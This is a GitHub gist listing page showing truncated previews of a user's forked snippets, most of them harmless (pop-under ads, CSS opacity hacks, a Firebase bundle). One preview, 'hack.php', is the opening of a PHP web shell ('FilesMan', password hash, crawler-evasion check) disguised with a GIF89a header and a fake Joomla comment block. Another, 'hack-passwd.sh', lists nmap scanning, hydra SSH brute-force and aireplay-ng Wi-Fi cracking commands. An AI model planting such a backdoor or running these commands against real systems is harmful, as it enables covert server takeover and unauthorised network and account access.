Skip to content

Instantly share code, notes, and snippets.

@tallykatt
tallykatt / popunder.js
Created July 25, 2016 01:49 — forked from jagad89/popunder.js
pop under js
<!--Start Popunder-->
<script>
var puShown = false;
var PopWidth = 1370;
var PopHeight = 800;
var PopFocus = 0;
var _Top = null;
function GetWindowHeight() {
@tallykatt
tallykatt / hack-console.js
Created July 25, 2016 01:50 — forked from indexzero/hack-console.js
Fun with hacking console.log in node@4
'use strict';
//
// Attempt #1: Overwrite the log method on the Console
// prototype exposed by node.
//
// !!FAILED!!
//
// var Console = require('console').Console;
//
@tallykatt
tallykatt / hack-passwd.sh
Created July 25, 2016 01:51 — forked from Yago/hack-passwd.sh
Hack - Hack local machine
# install
$ brew install cmake
$ brew install libssh
$ brew install hydra
$ brew install nmap
$ ping 192.168.1.255
$ nmap -A 192.168.0.8
$ hydra -l User -P '/path/to/wordlist.txt' 192.168.0.8 ssh
# WEP
aireplay-ng -1 0 -a <MAC> wlan0
aireplay-ng -3 -b <MAC> wlan0
# WPA
aireplay-ng -0 1 -a <MAC> -c <CLIENT_MAC> wlan0
# extract handshake from capture file:
install tshark
tshark -r <input file name> -R "eapol || wlan.fc.type_subtype == 0x08" -w <output file name>
@tallykatt
tallykatt / hack.php
Created July 25, 2016 01:53 — forked from osrecio/hack.php
hack
GIF89a
<?php
/**
* @version $Id: index2.php 14401 2010-01-26 14:10:00Z louis $
* @package template
* @copyright Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved.
* @license GNU/GPL, see LICENSE.php
* template! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
<?php
$auth_pass = "eaf02c22c483aa6b6510118dd3524c2c";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {

Gradient background animation (hack)

I've found no way to animate gradient backgrounds, so this is a cheap way of doing so by animating the opacity of a div on top (in this case on top of the whole body, but you'd just set it to match dimensions of whatever object you want)

A Pen by Kiran on CodePen.

License.

@tallykatt
tallykatt / opacity_hack.css
Created July 25, 2016 01:56
opacity hack
.transparent_class
{
/* IE 8 */
-ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=50)";
/* IE 5-7 */
filter: alpha(opacity=50);
/* Netscape */
-moz-opacity: 0.5;
/* Safari 1.x */
-khtml-opacity: 0.5;
$ {'/'} = () ==> {
return
<html>
<head>
<title>Homepage</title>
</head>
<body>
<p>Welcome to my Homepage.</p>
</body>
</html>;
@tallykatt
tallykatt / firebase.js
Created July 25, 2016 01:56
firebase hack
(function e(t,n,r){function s(o,u){if(!n[o]){if(!t[o]){var a=typeof require=="function"&&require;if(!u&&a)return a(o,!0);if(i)return i(o,!0);var f=new Error("Cannot find module '"+o+"'");throw f.code="MODULE_NOT_FOUND",f}var l=n[o]={exports:{}};t[o][0].call(l.exports,function(e){var n=t[o][1][e];return s(n?n:e)},l,l.exports,e,t,n,r)}return n[o].exports}var i=typeof require=="function"&&require;for(var o=0;o<r.length;o++)s(r[o]);return s})({1:[function(require,module,exports){
window.firebase = require('firebase')
},{"firebase":2}],2:[function(require,module,exports){
/**
* Firebase libraries for browser - npm package.
*
* Usage:
*
* firebase = require('firebase');